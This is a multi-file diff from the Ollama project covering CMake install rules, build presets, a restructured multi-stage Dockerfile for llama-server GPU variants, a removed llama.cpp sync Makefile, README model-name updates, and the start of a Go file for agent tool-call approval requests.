set(_target \"${OLLAMA_RUNNER_DIR}/include\")
if(NOT EXISTS \${_link})
execute_process(COMMAND \${CMAKE_COMMAND} -E create_symlink \${_target} \${_link})
endif()
" COMPONENT MLX)
endif()
endif()
# Install minimal CUDA toolkit headers needed by MLX JIT kernels.
# These are the transitive closure of includes from mlx/backend/cuda/device/*.cuh.
# The Go mlxrunner sets CUDA_PATH to OLLAMA_INSTALL_DIR so MLX finds them at
# $CUDA_PATH/include/*.h via NVRTC --include-path.
if(CUDAToolkit_FOUND)
# CUDAToolkit_INCLUDE_DIRS may be a semicolon-separated list
# (e.g. ".../include;.../include/cccl"). Find the entry that
# contains the CUDA runtime headers we need.
set(_cuda_inc "")
foreach(_dir ${CUDAToolkit_INCLUDE_DIRS})
if(EXISTS "${_dir}/cuda_runtime_api.h")
set(_cuda_inc "${_dir}")
break()
endif()
endforeach()
if(NOT _cuda_inc)
message(WARNING "Could not find cuda_runtime_api.h in CUDAToolkit_INCLUDE_DIRS: ${CUDAToolkit_INCLUDE_DIRS}")
else()
set(_dst "${OLLAMA_INSTALL_DIR}/include")
set(_MLX_JIT_CUDA_HEADERS
builtin_types.h
cooperative_groups.h
cuda_bf16.h
cuda_bf16.hpp
cuda_device_runtime_api.h
cuda_fp16.h
cuda_fp16.hpp
cuda_fp8.h
cuda_fp8.hpp
cuda_runtime_api.h
device_types.h
driver_types.h
math_constants.h
surface_types.h
texture_types.h
vector_functions.h
vector_functions.hpp
vector_types.h
)
foreach(_hdr ${_MLX_JIT_CUDA_HEADERS})
install(FILES "${_cuda_inc}/${_hdr}"
DESTINATION ${_dst}
COMPONENT MLX)
endforeach()
# Subdirectory headers
install(DIRECTORY "${_cuda_inc}/cooperative_groups"
DESTINATION ${_dst}
COMPONENT MLX
FILES_MATCHING PATTERN "*.h")
install(FILES "${_cuda_inc}/crt/host_defines.h"
DESTINATION "${_dst}/crt"
COMPONENT MLX)
endif()
endif()
# On Windows, explicitly install dl.dll (dlfcn-win32 POSIX dlopen emulation)
# RUNTIME_DEPENDENCIES auto-excludes it via POST_EXCLUDE_FILES_STRICT because
# dlfcn-win32 is a known CMake target with its own install rules (which install
# to the wrong destination). We must install it explicitly here.
if(WIN32)
install(FILES ${OLLAMA_BUILD_DIR}/dl.dll
DESTINATION ${OLLAMA_INSTALL_DIR}
COMPONENT MLX)
endif()
# Manually install CUDA runtime libraries that MLX loads via dlopen
# (not detected by RUNTIME_DEPENDENCIES since they aren't link-time deps)
if(CUDAToolkit_FOUND)
file(GLOB MLX_CUDA_LIBS
"${CUDAToolkit_LIBRARY_DIR}/libcudart.so*"
"${CUDAToolkit_LIBRARY_DIR}/libcublas.so*"
"${CUDAToolkit_LIBRARY_DIR}/libcublasLt.so*"
"${CUDAToolkit_LIBRARY_DIR}/libnvrtc.so*"
"${CUDAToolkit_LIBRARY_DIR}/libnvrtc-builtins.so*"
"${CUDAToolkit_LIBRARY_DIR}/libcufft.so*"
"${CUDAToolkit_LIBRARY_DIR}/libcudnn.so*")
if(MLX_CUDA_LIBS)
install(FILES ${MLX_CUDA_LIBS}
DESTINATION ${OLLAMA_INSTALL_DIR}
COMPONENT MLX)
endif()
endif()
if(EXISTS "${CMAKE_CURRENT_SOURCE_DIR}/llama/server/CMakeLists.txt")
set(OLLAMA_HAVE_LLAMA_SERVER TRUE)
else()
set(OLLAMA_HAVE_LLAMA_SERVER FALSE)
endif()
include(${CMAKE_CURRENT_SOURCE_DIR}/cmake/local.cmake)
+5 -169
View File
@@ -11,109 +11,10 @@
}
},
{
"name": "CPU",
"inherits": [ "Default" ]
},
{
"name": "CUDA",
"inherits": [ "Default" ]
},
{
"name": "CUDA 11",
"inherits": [ "CUDA" ],
"cacheVariables": {
"CMAKE_CUDA_ARCHITECTURES": "50-virtual;60-virtual;61-virtual;70-virtual;75-virtual;80-virtual;86-virtual;87-virtual;89-virtual;90-virtual",
"CMAKE_CUDA_FLAGS": "-Wno-deprecated-gpu-targets -t 2",
"OLLAMA_RUNNER_DIR": "cuda_v11"
}
},
{
"name": "CUDA 12",
"inherits": [ "CUDA" ],
"cacheVariables": {
"CMAKE_CUDA_ARCHITECTURES": "50;52;60;61;70;75;80;86;89;90;90a;120",
"CMAKE_CUDA_FLAGS": "-Wno-deprecated-gpu-targets -t 2",
"OLLAMA_RUNNER_DIR": "cuda_v12"
}
},
{
"name": "CUDA 13",
"inherits": [ "CUDA" ],
"cacheVariables": {
"CMAKE_CUDA_ARCHITECTURES": "75-virtual;80-virtual;86-virtual;87-virtual;89-virtual;90-virtual;90a-virtual;100-virtual;103-virtual;110-virtual;120-virtual;121-virtual",
"CMAKE_CUDA_FLAGS": "-t 2",
"OLLAMA_RUNNER_DIR": "cuda_v13"
}
},
{
"name": "JetPack 5",
"inherits": [ "CUDA" ],
"cacheVariables": {
"CMAKE_CUDA_ARCHITECTURES": "72;87",
"OLLAMA_RUNNER_DIR": "cuda_jetpack5"
}
},
{
"name": "JetPack 6",
"inherits": [ "CUDA" ],
"cacheVariables": {
"CMAKE_CUDA_ARCHITECTURES": "87",
"OLLAMA_RUNNER_DIR": "cuda_jetpack6"
}
},
{
"name": "ROCm",
"name": "MLX Metal",
"inherits": [ "Default" ],
"cacheVariables": {
"CMAKE_HIP_PLATFORM": "amd"
}
},
{
"name": "ROCm 6",
"inherits": [ "ROCm" ],
"cacheVariables": {
"CMAKE_HIP_FLAGS": "-parallel-jobs=4",
"AMDGPU_TARGETS": "gfx940;gfx941;gfx942;gfx1010;gfx1012;gfx1030;gfx1100;gfx1101;gfx1102;gfx1151;gfx1200;gfx1201;gfx908:xnack-;gfx90a:xnack+;gfx90a:xnack-",
"OLLAMA_RUNNER_DIR": "rocm"
}
},
{
"name": "ROCm 7",
"inherits": [ "ROCm" ],
"cacheVariables": {
"CMAKE_HIP_FLAGS": "-parallel-jobs=4",
"AMDGPU_TARGETS": "gfx942;gfx950;gfx1010;gfx1012;gfx1030;gfx1100;gfx1101;gfx1102;gfx1103;gfx1150;gfx1151;gfx1200;gfx1201;gfx908:xnack-;gfx90a:xnack+;gfx90a:xnack-",
"OLLAMA_RUNNER_DIR": "rocm"
}
},
{
"name": "Vulkan",
"inherits": [ "Default" ],
"cacheVariables": {
"OLLAMA_RUNNER_DIR": "vulkan"
}
},
{
"name": "MLX",
"inherits": [ "Default" ],
"cacheVariables": {
"MLX_ENGINE": "ON",
"OLLAMA_RUNNER_DIR": "mlx"
}
},
{
"name": "MLX CUDA 12",
"inherits": [ "MLX", "CUDA 12" ],
"cacheVariables": {
"OLLAMA_RUNNER_DIR": "mlx_cuda_v12"
}
},
{
"name": "MLX CUDA 13",
"inherits": [ "MLX", "CUDA 13" ],
"cacheVariables": {
"MLX_CUDA_ARCHITECTURES": "86;89;90;90a;100;103;75-virtual;80-virtual;110-virtual;120-virtual;121-virtual",
"OLLAMA_RUNNER_DIR": "mlx_cuda_v13"
"OLLAMA_MLX_BACKENDS": "metal_v3;metal_v4"
}
}
],
@@ -124,74 +25,9 @@
"configuration": "Release"
},
{
"name": "CPU",
"configurePreset": "Default",
"targets": [ "ggml-cpu" ]
},
{
"name": "CUDA",
"configurePreset": "CUDA",
"targets": [ "ggml-cuda" ]
},
{
"name": "CUDA 11",
"inherits": [ "CUDA" ],
"configurePreset": "CUDA 11"
},
{
"name": "CUDA 12",
"inherits": [ "CUDA" ],
"configurePreset": "CUDA 12"
},
{
"name": "CUDA 13",
"inherits": [ "CUDA" ],
"configurePreset": "CUDA 13"
},
{
"name": "JetPack 5",
"inherits": [ "CUDA" ],
"configurePreset": "JetPack 5"
},
{
"name": "JetPack 6",
"inherits": [ "CUDA" ],
"configurePreset": "JetPack 6"
},
{
"name": "ROCm",
"configurePreset": "ROCm",
"targets": [ "ggml-hip" ]
},
{
"name": "ROCm 6",
"inherits": [ "ROCm" ],
"configurePreset": "ROCm 6"
},
{
"name": "ROCm 7",
"inherits": [ "ROCm" ],
"configurePreset": "ROCm 7"
},
{
"name": "Vulkan",
"targets": [ "ggml-vulkan" ],
"configurePreset": "Vulkan"
},
{
"name": "MLX",
"targets": [ "mlx", "mlxc" ],
"configurePreset": "MLX"
},
{
"name": "MLX CUDA 12",
"targets": [ "mlx", "mlxc" ],
"configurePreset": "MLX CUDA 12"
},
{
"name": "MLX CUDA 13",
"targets": [ "mlx", "mlxc" ],
"configurePreset": "MLX CUDA 13"
"name": "MLX Metal",
"targets": [ "ollama-mlx-backends" ],
"configurePreset": "MLX Metal"
}
]
}
+187 -99
View File
@@ -37,113 +37,171 @@ RUN dnf install -y unzip \
ENV CMAKE_GENERATOR=Ninja
ENV LDFLAGS=-s
FROM base AS cpu
#
# GPU toolchain stages — provide compilers for llama-server GPU builds
#
FROM base AS cpu-deps
RUN dnf install -y gcc-toolset-11-gcc gcc-toolset-11-gcc-c++
ENV PATH=/opt/rh/gcc-toolset-11/root/usr/bin:$PATH
COPY CMakeLists.txt CMakePresets.json .
COPY ml/backend/ggml/ggml ml/backend/ggml/ggml
RUN --mount=type=cache,target=/root/.ccache \
cmake --preset 'CPU' \
&& cmake --build --preset 'CPU' -- -l $(nproc) \
&& cmake --install build --component CPU --strip
FROM base AS cuda-11
ARG CUDA11VERSION=11.8
RUN dnf install -y cuda-toolkit-${CUDA11VERSION//./-}
ENV PATH=/usr/local/cuda-11/bin:$PATH
COPY CMakeLists.txt CMakePresets.json .
COPY ml/backend/ggml/ggml ml/backend/ggml/ggml
RUN --mount=type=cache,target=/root/.ccache \
cmake --preset 'CUDA 11' \
&& cmake --build --preset 'CUDA 11' -- -l $(nproc) \
&& cmake --install build --component CUDA --strip
FROM base AS cuda-12
FROM base AS cuda-12-deps
ARG CUDA12VERSION=12.8
RUN dnf install -y cuda-toolkit-${CUDA12VERSION//./-}
ENV PATH=/usr/local/cuda-12/bin:$PATH
COPY CMakeLists.txt CMakePresets.json .
COPY ml/backend/ggml/ggml ml/backend/ggml/ggml
RUN --mount=type=cache,target=/root/.ccache \
cmake --preset 'CUDA 12' \
&& cmake --build --preset 'CUDA 12' -- -l $(nproc) \
&& cmake --install build --component CUDA --strip
FROM base AS cuda-13
FROM base AS cuda-13-deps
ARG CUDA13VERSION=13.0
RUN dnf install -y cuda-toolkit-${CUDA13VERSION//./-}
ENV PATH=/usr/local/cuda-13/bin:$PATH
COPY CMakeLists.txt CMakePresets.json .
COPY ml/backend/ggml/ggml ml/backend/ggml/ggml
RUN --mount=type=cache,target=/root/.ccache \
cmake --preset 'CUDA 13' \
&& cmake --build --preset 'CUDA 13' -- -l $(nproc) \
&& cmake --install build --component CUDA --strip
FROM base AS rocm-7-deps
ENV PATH=/opt/rocm/llvm/bin:/opt/rocm/hcc/bin:/opt/rocm/hip/bin:/opt/rocm/bin:$PATH
FROM base AS rocm-7
ENV PATH=/opt/rocm/hcc/bin:/opt/rocm/hip/bin:/opt/rocm/bin:/opt/rocm/hcc/bin:$PATH
COPY CMakeLists.txt CMakePresets.json .
COPY ml/backend/ggml/ggml ml/backend/ggml/ggml
RUN --mount=type=cache,target=/root/.ccache \
cmake --preset 'ROCm 7' \
&& cmake --build --preset 'ROCm 7' -- -l $(nproc) \
&& cmake --install build --component HIP --strip
RUN rm -f dist/lib/ollama/rocm/rocblas/library/*gfx90[06]*
FROM --platform=linux/arm64 nvcr.io/nvidia/l4t-jetpack:${JETPACK5VERSION} AS jetpack-5
ARG CMAKEVERSION
ARG NINJAVERSION
RUN apt-get update && apt-get install -y curl ccache unzip \
&& curl -fsSL https://github.com/Kitware/CMake/releases/download/v${CMAKEVERSION}/cmake-${CMAKEVERSION}-linux-$(uname -m).tar.gz | tar xz -C /usr/local --strip-components 1 \
&& curl -fsSL -o /tmp/ninja.zip https://github.com/ninja-build/ninja/releases/download/v${NINJAVERSION}/ninja-linux-aarch64.zip \
&& unzip /tmp/ninja.zip -d /usr/local/bin \
&& rm /tmp/ninja.zip
ENV CMAKE_GENERATOR=Ninja
COPY CMakeLists.txt CMakePresets.json .
COPY ml/backend/ggml/ggml ml/backend/ggml/ggml
RUN --mount=type=cache,target=/root/.ccache \
cmake --preset 'JetPack 5' \
&& cmake --build --preset 'JetPack 5' -- -l $(nproc) \
&& cmake --install build --component CUDA --strip
FROM --platform=linux/arm64 nvcr.io/nvidia/l4t-jetpack:${JETPACK6VERSION} AS jetpack-6
ARG CMAKEVERSION
ARG NINJAVERSION
RUN apt-get update && apt-get install -y curl ccache unzip \
&& curl -fsSL https://github.com/Kitware/CMake/releases/download/v${CMAKEVERSION}/cmake-${CMAKEVERSION}-linux-$(uname -m).tar.gz | tar xz -C /usr/local --strip-components 1 \
&& curl -fsSL -o /tmp/ninja.zip https://github.com/ninja-build/ninja/releases/download/v${NINJAVERSION}/ninja-linux-aarch64.zip \
&& unzip /tmp/ninja.zip -d /usr/local/bin \
&& rm /tmp/ninja.zip
ENV CMAKE_GENERATOR=Ninja
COPY CMakeLists.txt CMakePresets.json .
COPY ml/backend/ggml/ggml ml/backend/ggml/ggml
RUN --mount=type=cache,target=/root/.ccache \
cmake --preset 'JetPack 6' \
&& cmake --build --preset 'JetPack 6' -- -l $(nproc) \
&& cmake --install build --component CUDA --strip
FROM base AS vulkan
FROM base AS vulkan-deps
ARG VULKANVERSION
RUN ln -s /usr/bin/python3 /usr/bin/python \
&& wget https://sdk.lunarg.com/sdk/download/${VULKANVERSION}/linux/vulkansdk-linux-x86_64-${VULKANVERSION}.tar.xz -O /tmp/vulkansdk.tar.xz \
&& tar xvf /tmp/vulkansdk.tar.xz -C /tmp \
&& /tmp/${VULKANVERSION}/vulkansdk -j 8 vulkan-headers \
&& /tmp/${VULKANVERSION}/vulkansdk -j 8 spirv-headers \
&& /tmp/${VULKANVERSION}/vulkansdk -j 8 shaderc \
&& cp -r /tmp/${VULKANVERSION}/x86_64/include/* /usr/local/include/ \
&& cp -r /tmp/${VULKANVERSION}/x86_64/lib/* /usr/local/lib \
&& cp -r /tmp/${VULKANVERSION}/x86_64/share/* /usr/local/share/ \
&& cp -r /tmp/${VULKANVERSION}/x86_64/bin/* /usr/local/bin/ \
&& rm -rf /tmp/${VULKANVERSION} /tmp/vulkansdk.tar.xz
COPY CMakeLists.txt CMakePresets.json .
COPY ml/backend/ggml/ggml ml/backend/ggml/ggml
ENV VULKAN_SDK=/usr/local
#
# llama-server stages — rebuild when LLAMA_CPP_VERSION, llama/server/, or llama/compat/ changes.
#
# CPU stage: llama-server + ggml-base + ggml-cpu variants → lib/ollama/
# GPU stages: GPU backend .so only → lib/ollama/<variant>/
#
FROM cpu-deps AS llama-server-cpu
COPY LLAMA_CPP_VERSION .
COPY llama/server llama/server
COPY llama/compat llama/compat
RUN --mount=type=cache,target=/root/.ccache \
cmake --preset 'Vulkan' \
&& cmake --build --preset 'Vulkan' -- -l $(nproc) \
&& cmake --install build --component Vulkan --strip
cmake -S llama/server --preset cpu \
&& cmake --build build/llama-server-cpu -- -l $(nproc) \
&& cmake --install build/llama-server-cpu --component llama-server --strip \
&& for lib in \
/usr/lib64/libgomp.so* \
/usr/lib64/libomp.so* \
/opt/rh/gcc-toolset-11/root/usr/lib64/libgomp.so* \
/opt/rh/gcc-toolset-11/root/usr/lib64/libomp.so*; do \
[ -e "$lib" ] && cp -a "$lib" dist/lib/ollama/ || true; \
done
FROM scratch AS publish-llama-server-cpu
COPY --from=llama-server-cpu dist/lib/ollama /lib/ollama/
FROM cuda-12-deps AS llama-server-cuda_v12
COPY LLAMA_CPP_VERSION .
COPY llama/server llama/server
COPY llama/compat llama/compat
RUN --mount=type=cache,target=/root/.ccache \
cmake -S llama/server --preset llama_cuda_v12_linux \
&& cmake --build build/llama-server-cuda_v12 -- -l $(nproc) \
&& cmake --install build/llama-server-cuda_v12 --component llama-server --strip
FROM scratch AS publish-llama-server-cuda_v12
COPY --from=llama-server-cuda_v12 dist/lib/ollama /lib/ollama/
FROM cuda-13-deps AS llama-server-cuda_v13
COPY LLAMA_CPP_VERSION .
COPY llama/server llama/server
COPY llama/compat llama/compat
RUN --mount=type=cache,target=/root/.ccache \
cmake -S llama/server --preset llama_cuda_v13_linux \
&& cmake --build build/llama-server-cuda_v13 -- -l $(nproc) \
&& cmake --install build/llama-server-cuda_v13 --component llama-server --strip
FROM scratch AS publish-llama-server-cuda_v13
COPY --from=llama-server-cuda_v13 dist/lib/ollama /lib/ollama/
FROM rocm-7-deps AS llama-server-rocm_v7_2
ENV CC=clang CXX=clang++
COPY LLAMA_CPP_VERSION .
COPY llama/server llama/server
COPY llama/compat llama/compat
RUN --mount=type=cache,target=/root/.ccache \
cmake -S llama/server --preset rocm_v7_2_linux \
&& cmake --build build/llama-server-rocm_v7_2 -- -l $(nproc) \
&& cmake --install build/llama-server-rocm_v7_2 --component llama-server --strip
RUN rm -f dist/lib/ollama/rocm_v7_2/rocblas/library/*gfx90[06]*
FROM scratch AS publish-llama-server-rocm_v7_2
COPY --from=llama-server-rocm_v7_2 dist/lib/ollama /lib/ollama/
FROM vulkan-deps AS llama-server-vulkan
COPY LLAMA_CPP_VERSION .
COPY llama/server llama/server
COPY llama/compat llama/compat
RUN --mount=type=cache,target=/root/.ccache \
cmake -S llama/server --preset vulkan \
&& cmake --build build/llama-server-vulkan -- -l $(nproc) \
&& cmake --install build/llama-server-vulkan --component llama-server --strip
FROM scratch AS publish-llama-server-vulkan
COPY --from=llama-server-vulkan dist/lib/ollama /lib/ollama/
#
# JetPack stages — self-contained with their own base images
#
FROM --platform=linux/arm64 nvcr.io/nvidia/l4t-jetpack:${JETPACK5VERSION} AS jetpack-5
ARG CMAKEVERSION
ARG NINJAVERSION
RUN apt-get update && apt-get install -y curl ccache git unzip \
&& curl -fsSL https://github.com/Kitware/CMake/releases/download/v${CMAKEVERSION}/cmake-${CMAKEVERSION}-linux-$(uname -m).tar.gz | tar xz -C /usr/local --strip-components 1 \
&& curl -fsSL -o /tmp/ninja.zip https://github.com/ninja-build/ninja/releases/download/v${NINJAVERSION}/ninja-linux-aarch64.zip \
&& unzip /tmp/ninja.zip -d /usr/local/bin \
&& rm /tmp/ninja.zip
ENV CMAKE_GENERATOR=Ninja
COPY LLAMA_CPP_VERSION .
COPY llama/server llama/server
COPY llama/compat llama/compat
RUN --mount=type=cache,target=/root/.ccache \
cmake -S llama/server --preset llama_cuda_jetpack5 \
&& cmake --build build/llama-server-cuda_jetpack5 -- -l $(nproc) \
&& cmake --install build/llama-server-cuda_jetpack5 --component llama-server --strip
FROM scratch AS publish-llama-server-cuda_jetpack5
COPY --from=jetpack-5 dist/lib/ollama /lib/ollama/
FROM --platform=linux/arm64 nvcr.io/nvidia/l4t-jetpack:${JETPACK6VERSION} AS jetpack-6
ARG CMAKEVERSION
ARG NINJAVERSION
RUN apt-get update && apt-get install -y curl ccache git unzip \
&& curl -fsSL https://github.com/Kitware/CMake/releases/download/v${CMAKEVERSION}/cmake-${CMAKEVERSION}-linux-$(uname -m).tar.gz | tar xz -C /usr/local --strip-components 1 \
&& curl -fsSL -o /tmp/ninja.zip https://github.com/ninja-build/ninja/releases/download/v${NINJAVERSION}/ninja-linux-aarch64.zip \
&& unzip /tmp/ninja.zip -d /usr/local/bin \
&& rm /tmp/ninja.zip
ENV CMAKE_GENERATOR=Ninja
COPY LLAMA_CPP_VERSION .
COPY llama/server llama/server
COPY llama/compat llama/compat
RUN --mount=type=cache,target=/root/.ccache \
cmake -S llama/server --preset llama_cuda_jetpack6 \
&& cmake --build build/llama-server-cuda_jetpack6 -- -l $(nproc) \
&& cmake --install build/llama-server-cuda_jetpack6 --component llama-server --strip
FROM scratch AS publish-llama-server-cuda_jetpack6
COPY --from=jetpack-6 dist/lib/ollama /lib/ollama/
#
# MLX stage
#
FROM base AS mlx
ARG CUDA13VERSION=13.0
ARG OLLAMA_MLX_BUILD_JOBS=
ARG OLLAMA_MLX_NVCC_THREADS=2
ARG MLX_CUDA_RAM_MB=
RUN dnf install -y cuda-toolkit-${CUDA13VERSION//./-} \
&& dnf install -y openblas-devel lapack-devel \
&& dnf install -y libcudnn9-cuda-13 libcudnn9-devel-cuda-13 \
@@ -154,7 +212,7 @@ ENV LAPACK_INCLUDE_DIRS=/usr/include/openblas
ENV CGO_LDFLAGS="-L/usr/local/cuda-13/lib64 -L/usr/local/cuda-13/targets/x86_64-linux/lib/stubs"
WORKDIR /go/src/github.com/ollama/ollama
COPY CMakeLists.txt CMakePresets.json .
COPY ml/backend/ggml/ggml ml/backend/ggml/ggml
COPY cmake cmake
COPY x/imagegen/mlx x/imagegen/mlx
COPY go.mod go.sum .
COPY MLX_VERSION MLX_C_VERSION .
@@ -170,9 +228,15 @@ RUN --mount=type=cache,target=/root/.ccache \
&& if [ -f /tmp/local-mlx-c/CMakeLists.txt ]; then \
export OLLAMA_MLX_C_SOURCE=/tmp/local-mlx-c; \
fi \
&& cmake --preset 'MLX CUDA 13' -DBLAS_INCLUDE_DIRS=/usr/include/openblas -DLAPACK_INCLUDE_DIRS=/usr/include/openblas \
&& cmake --build --preset 'MLX CUDA 13' -- -l $(nproc) \
&& cmake --install build --component MLX --strip
&& cmake -S . -B build/mlx_cuda_v13 -DOLLAMA_MLX_BACKENDS=cuda_v13 -DBLAS_INCLUDE_DIRS=/usr/include/openblas -DLAPACK_INCLUDE_DIRS=/usr/include/openblas -DCMAKE_CUDA_FLAGS="-t ${OLLAMA_MLX_NVCC_THREADS}" ${MLX_CUDA_RAM_MB:+-DMLX_CUDA_RAM_MB=${MLX_CUDA_RAM_MB}} -DOLLAMA_PAYLOAD_INSTALL_PREFIX=/go/src/github.com/ollama/ollama/dist \
&& cmake --build build/mlx_cuda_v13 --target ollama-mlx-cuda_v13 -- -l $(nproc) ${OLLAMA_MLX_BUILD_JOBS:+-j ${OLLAMA_MLX_BUILD_JOBS}}
FROM scratch AS publish-mlx
COPY --from=mlx /go/src/github.com/ollama/ollama/dist/lib/ollama /lib/ollama/
#
# Go build
#
FROM base AS build
WORKDIR /go/src/github.com/ollama/ollama
@@ -190,38 +254,62 @@ ENV CGO_CXXFLAGS="${CGO_CXXFLAGS}"
RUN --mount=type=cache,target=/root/.cache/go-build \
go build -trimpath -buildmode=pie -o /bin/ollama .
FROM scratch AS publish-go
COPY --from=build /bin/ollama /bin/ollama
#
# Assembly stages — combine llama-server variants + GPU runtime libs
#
FROM --platform=linux/amd64 scratch AS amd64
# COPY --from=cuda-11 dist/lib/ollama/ /lib/ollama/
COPY --from=cuda-12 dist/lib/ollama /lib/ollama/
COPY --from=cuda-13 dist/lib/ollama /lib/ollama/
COPY --from=vulkan dist/lib/ollama /lib/ollama/
COPY --from=llama-server-cpu dist/lib/ollama /lib/ollama/
COPY --from=llama-server-cuda_v12 dist/lib/ollama /lib/ollama/
COPY --from=llama-server-cuda_v13 dist/lib/ollama /lib/ollama/
COPY --from=llama-server-vulkan dist/lib/ollama /lib/ollama/
COPY --from=mlx /go/src/github.com/ollama/ollama/dist/lib/ollama /lib/ollama/
FROM --platform=linux/arm64 scratch AS arm64
# COPY --from=cuda-11 dist/lib/ollama/ /lib/ollama/
COPY --from=cuda-12 dist/lib/ollama /lib/ollama/
COPY --from=cuda-13 dist/lib/ollama/ /lib/ollama/
COPY --from=llama-server-cpu dist/lib/ollama /lib/ollama/
COPY --from=llama-server-cuda_v12 dist/lib/ollama /lib/ollama/
COPY --from=llama-server-cuda_v13 dist/lib/ollama /lib/ollama/
COPY --from=jetpack-5 dist/lib/ollama/ /lib/ollama/
COPY --from=jetpack-6 dist/lib/ollama/ /lib/ollama/
FROM scratch AS rocm
COPY --from=rocm-7 dist/lib/ollama /lib/ollama
COPY --from=llama-server-cpu dist/lib/ollama /lib/ollama
COPY --from=llama-server-rocm_v7_2 dist/lib/ollama /lib/ollama
FROM ${FLAVOR} AS archive
COPY --from=cpu dist/lib/ollama /lib/ollama
FROM --platform=linux/amd64 scratch AS amd64-archive
COPY --from=amd64 /lib/ollama /lib/ollama/
COPY --from=llama-server-rocm_v7_2 dist/lib/ollama /lib/ollama/
FROM --platform=linux/arm64 scratch AS arm64-archive
COPY --from=arm64 /lib/ollama /lib/ollama/
FROM ${TARGETARCH}-archive AS archive
COPY --from=build /bin/ollama /bin/ollama
FROM ${FLAVOR} AS image-archive
COPY --from=build /bin/ollama /bin/ollama
FROM ubuntu:24.04
ARG APT_MIRROR=http://archive.ubuntu.com/ubuntu
RUN sed -i "s|http://archive.ubuntu.com/ubuntu|$APT_MIRROR|g" /etc/apt/sources.list.d/ubuntu.sources \
ARG APT_PORTS_MIRROR=http://ports.ubuntu.com/ubuntu-ports
RUN sed -i \
-e "s|http://archive.ubuntu.com/ubuntu|$APT_MIRROR|g" \
-e "s|http://ports.ubuntu.com/ubuntu-ports|$APT_PORTS_MIRROR|g" \
/etc/apt/sources.list.d/ubuntu.sources \
&& apt-get update \
&& apt-get install -y ca-certificates libvulkan1 libopenblas0 \
&& sed -i "s|$APT_MIRROR|http://archive.ubuntu.com/ubuntu|g" /etc/apt/sources.list.d/ubuntu.sources \
&& sed -i \
-e "s|$APT_MIRROR|http://archive.ubuntu.com/ubuntu|g" \
-e "s|$APT_PORTS_MIRROR|http://ports.ubuntu.com/ubuntu-ports|g" \
/etc/apt/sources.list.d/ubuntu.sources \
&& apt-get clean \
&& rm -rf /var/lib/apt/lists/*
COPY --from=archive /bin /usr/bin
COPY --from=image-archive /bin /usr/bin
ENV PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
COPY --from=archive /lib/ollama /usr/lib/ollama
COPY --from=image-archive /lib/ollama /usr/lib/ollama
ENV LD_LIBRARY_PATH=/usr/local/nvidia/lib:/usr/local/nvidia/lib64
ENV NVIDIA_DRIVER_CAPABILITIES=compute,utility
ENV NVIDIA_VISIBLE_DEVICES=all
+1
View File
@@ -0,0 +1 @@
b9888
+1 -1
View File
@@ -1 +1 @@
e8ebdebeeb655feaa85a51f6b24ece5b6d5518d1
de7b4ed986b6d6f55b8ace5e73c24d1ca0bea89b
-76
View File
@@ -1,76 +0,0 @@
UPSTREAM=https://github.com/ggml-org/llama.cpp.git
WORKDIR=llama/vendor
FETCH_HEAD=ec98e2002
.PHONY: help
help:
@echo "Available targets:"
@echo " sync Sync with upstream repositories"
@echo " checkout Checkout upstream repository"
@echo " apply-patches Apply patches to local repository"
@echo " format-patches Format patches from local repository"
@echo " clean Clean local repository"
@echo
@echo "Example:"
@echo " make -f $(lastword $(MAKEFILE_LIST)) clean apply-patches sync"
.PHONY: sync
sync: llama/build-info.cpp ml/backend/ggml/ggml/src/ggml-metal/ggml-metal-embed.metal
llama/build-info.cpp: llama/build-info.cpp.in llama/llama.cpp
sed -e 's|@FETCH_HEAD@|$(FETCH_HEAD)|' <$< >$@
ml/backend/ggml/ggml/src/ggml-metal/ggml-metal-embed.metal: ml/backend/ggml/ggml
go generate ./$(@D)
.PHONY: llama/llama.cpp
llama/llama.cpp: llama/vendor
rsync -arvzc --delete -f "include LICENSE" -f "merge $@/.rsync-filter" $(addprefix $<,/LICENSE /) $@
.PHONY: ml/backend/ggml/ggml
ml/backend/ggml/ggml: llama/vendor
rsync -arvzc --delete -f "include LICENSE" -f "merge $@/.rsync-filter" $(addprefix $<,/LICENSE /ggml/) $@
PATCHES=$(wildcard llama/patches/*.patch)
PATCHED=$(join $(dir $(PATCHES)), $(addsuffix ed, $(addprefix ., $(notdir $(PATCHES)))))
.PHONY: apply-patches
.NOTPARALLEL:
apply-patches: $(PATCHED)
llama/patches/.%.patched: llama/patches/%.patch
@if git -c user.name=nobody -c 'user.email=<>' -C $(WORKDIR) am -3 $(realpath $<); then \
touch $@; \
else \
echo "Patch failed. Resolve any conflicts then continue."; \
echo "1. Run 'git -C $(WORKDIR) am --continue'"; \
echo "2. Run 'make -f $(lastword $(MAKEFILE_LIST)) format-patches'"; \
echo "3. Run 'make -f $(lastword $(MAKEFILE_LIST)) clean apply-patches'"; \
exit 1; \
fi
.PHONY: checkout
checkout: $(WORKDIR)
git -C $(WORKDIR) fetch
git -C $(WORKDIR) checkout -f $(FETCH_HEAD)
$(WORKDIR):
git clone $(UPSTREAM) $(WORKDIR)
.PHONY: format-patches
format-patches: llama/patches
git -C $(WORKDIR) format-patch \
--no-signature \
--no-numbered \
--zero-commit \
-o $(realpath $<) \
$(FETCH_HEAD)
.PHONY: clean
clean: checkout
@git -C $(WORKDIR) am --abort || true
$(RM) llama/patches/.*.patched
.PHONY: print-base
print-base:
@echo $(FETCH_HEAD)
+5 -5
View File
@@ -77,10 +77,10 @@ ollama launch openclaw
### Chat with a model
Run and chat with [Gemma 3](https://ollama.com/library/gemma3):
Run and chat with [Gemma 4](https://ollama.com/library/gemma4):
```
ollama run gemma3
ollama run gemma4
```
See [ollama.com/library](https://ollama.com/library) for the full list.
@@ -93,7 +93,7 @@ Ollama has a REST API for running and managing models.
```
curl http://localhost:11434/api/chat -d '{
"model": "gemma3",
"model": "gemma4",
"messages": [{
"role": "user",
"content": "Why is the sky blue?"
@@ -113,7 +113,7 @@ pip install ollama
```python
from ollama import chat
response = chat(model='gemma3', messages=[
response = chat(model='gemma4', messages=[
{
'role': 'user',
'content': 'Why is the sky blue?',
@@ -132,7 +132,7 @@ npm i ollama
import ollama from "ollama";
const response = await ollama.chat({
model: "gemma3",
model: "gemma4",
messages: [{ role: "user", content: "Why is the sky blue?" }],
});
console.log(response.message.content);
+198
View File
@@ -0,0 +1,198 @@
package agent
import (
"context"
"strings"
"sync"
)
type ApprovalRequest struct {
WorkingDir string
Calls []ApprovalToolCall
}
func (r *ApprovalRequest) AddToolCall(id, name, scope string, args map[string]any) {
r.Calls = append(r.Calls, ApprovalToolCall{
ToolCallID: id,
ToolName: name,
Args: args,
ApprovalScope: scope,
})
}
